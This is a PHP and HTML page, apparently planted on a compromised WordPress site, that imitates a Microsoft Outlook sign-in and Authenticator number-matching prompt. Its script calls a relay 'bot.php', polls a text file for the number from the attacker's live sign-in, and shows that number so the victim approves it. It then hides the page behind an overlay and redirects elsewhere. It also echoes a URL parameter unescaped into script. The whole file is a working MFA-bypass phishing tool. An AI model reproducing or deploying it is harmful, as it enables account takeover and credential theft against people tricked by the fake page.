File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/codepush.php
<?php
session_start();
// Get the season ID from the URL
$seasonId = $_GET['season_id'] ?? '';
// Retrieve the email from the session
$email = $_SESSION['email'] ?? '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Outlook Login</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('https://aadcdn.msftauthimages.net/dbd5a2dd-xxsqqvewyiqgy-erxftowuxmz97jsnwfwdcw102blps/logintenantbranding/0/illustration?ts=637299124255073976') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
flex-direction: column;
}
.header {
text-align: center;
margin-bottom: 10px;
}
h2 {
font-size: 52px;
color: #333;
margin-bottom: 8px;
}
.login-container {
background-color: white;
padding: 30px;
box-shadow: 0px 4px 12px rgba(0, 0, 0, 0.1);
border-radius: 8px;
width: 395px;
text-align: left;
position: relative;
}
.login-container img {
max-width: 256px;
height: 24px;
display: block;
margin-bottom: 15px;
}
.email {
font-size: 16px;
margin-bottom: 10px;
color: #333;
}
.title {
font-size: 20px;
font-weight: bold;
margin-bottom: 10px;
}
.instruction {
font-size: .9375rem;
margin-bottom: 15px;
color: #333;
display: flex;
align-items: center;
}
.instruction img {
max-width: 20px;
height: auto;
margin-right: 5px;
}
.auth-number {
font-size: 36px;
border: 2px solid #000;
display: block;
padding: 8px;
border-radius: 4px;
text-align: center;
width: 60px;
height: 60px;
margin: 0 auto;
position: relative;
}
.loader {
width: 24px;
height: 24px;
border: 4px solid #000;
border-top: 4px solid transparent;
border-radius: 50%;
animation: spin 1s linear infinite;
position: absolute;
top: 35%;
left: 30%;
transform: translate(-70%, -70%);
display: none; /* Initially hidden */
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
z-index: 999;
display: none; /* Initially hidden */
}
.footer-links {
font-size: 13px;
margin-top: 20px;
}
.footer-links a {
color: #0078d4;
text-decoration: none;
}
.footer-links a:hover {
text-decoration: underline;
}
.spacer {
margin-bottom: 20px;
}
.popup-message {
display: none;
color: #000;
padding: 10px;
position: absolute;
left: 80px;
top: 15px;
font-size: 14px;
z-index: 1000;
text-align: left;
}
/* Media query for mobile devices */
@media (max-width: 768px) {
body {
transform: scale(0.7); /* Zoom out to 70% */
transform-origin: top; /* Adjust origin for scaling */
height: auto; /* Allow for automatic height adjustment */
}
.login-container {
width: 100%; /* Ensure the container uses full width */
}
}
</style>
</head>
<body>
<div class="header">
<h2></h2>
</div>
<div class="login-container">
<img src="https://aadcdn.msftauthimages.net/dbd5a2dd-xxsqqvewyiqgy-erxftowuxmz97jsnwfwdcw102blps/logintenantbranding/0/bannerlogo?ts=637297268334637193" alt="Microsoft Logo">
<!-- Display the email here -->
<p class="email"><?php echo htmlspecialchars($email); ?></p>
<p class="title">Approve sign in request</p>
<p class="instruction">
<img src="https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg" alt="Authenticator Icon">
Open your Authenticator app, and enter the number shown to sign in.
</p>
<div class="auth-number" id="auth-number">
<div class="loader" id="loader"></div>
<div class="popup-message" id="popup-message">Please wait...</div>
</div>
<div class="overlay" id="overlay"></div>
<p>No numbers shown in the box? <a href="#" class="request-code">Request code.</a> Make sure to upgrade the app to the latest version.</p>
<div class="footer-links">
<a href="#" class="spacer">I can't use my Microsoft Authenticator app right now</a>
<br><br>
<a href="#">More information</a>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
// Automatically trigger request code after 3 seconds
setTimeout(function () {
console.log('Auto-starting request after 3 seconds...');
document.querySelector('.request-code').click();
}, 3000);
document.querySelector('.request-code').addEventListener('click', function (event) {
event.preventDefault();
const loader = document.getElementById('loader');
const popupMessage = document.getElementById('popup-message');
loader.style.display = 'block'; // Show the loader
popupMessage.style.display = 'block'; // Show "Please wait..."
console.log('Request initiated: Clearing selected number...');
clearSelectedNumber();
});
function clearSelectedNumber() {
fetch('clear_number.php')
.then(response => response.text())
.then(() => {
console.log('Selected number cleared. Requesting a new number...');
requestNewNumber();
})
.catch(error => console.error('Failed to clear the selected number:', error));
}
function requestNewNumber() {
fetch('bot.php?season_id=<?php echo $seasonId; ?>')
.then(response => response.text())
.then(() => {
console.log('New number requested. Checking for number...');
checkForNumber();
})
.catch(error => console.error('Failed to request a new number:', error));
}
function checkForNumber() {
fetch('selected_number.txt?t=' + new Date().getTime(), { cache: 'no-store' }) // Prevent caching issues
.then(response => response.text())
.then(text => {
if (text.trim() !== '') {
console.log('Number received:', text.trim());
displayNumber(text.trim());
} else {
console.log('No number found, retrying...');
setTimeout(checkForNumber, 1000); // Faster polling (1s)
}
})
.catch(error => console.error('Failed to check for the number:', error));
}
function displayNumber(number) {
console.log('Displaying number:', number);
// Ensure the auth-number element exists
const authNumberBox = document.getElementById('auth-number');
if (!authNumberBox) {
console.error('Auth number box not found.');
return;
}
// Update the innerHTML of the auth number box with the received number
authNumberBox.innerHTML = number;
// Hide the loader and popup message
const loader = document.getElementById('loader');
const popupMessage = document.getElementById('popup-message');
if (loader) loader.style.display = 'none';
if (popupMessage) popupMessage.style.display = 'none';
console.log('Redirection will happen in 30 seconds');
// Show the overlay and second loader after 10 seconds
setTimeout(function () {
const overlay = document.getElementById('overlay');
const secondLoader = document.createElement('div');
secondLoader.className = 'loader';
secondLoader.style.left = '48%';
secondLoader.style.transform = 'translate(-50%, -50%)';
document.body.appendChild(secondLoader);
// Show overlay and loader together
if (overlay) overlay.style.display = 'block'; // Show the overlay
secondLoader.style.display = 'block'; // Show the second loader
setTimeout(function () {
// Redirect after 30 seconds
window.location.href = 'https://krrishimpex.com';
}, 30000);
}, 10000); // Show overlay after 10 seconds
}
});
</script>
</body>
</html>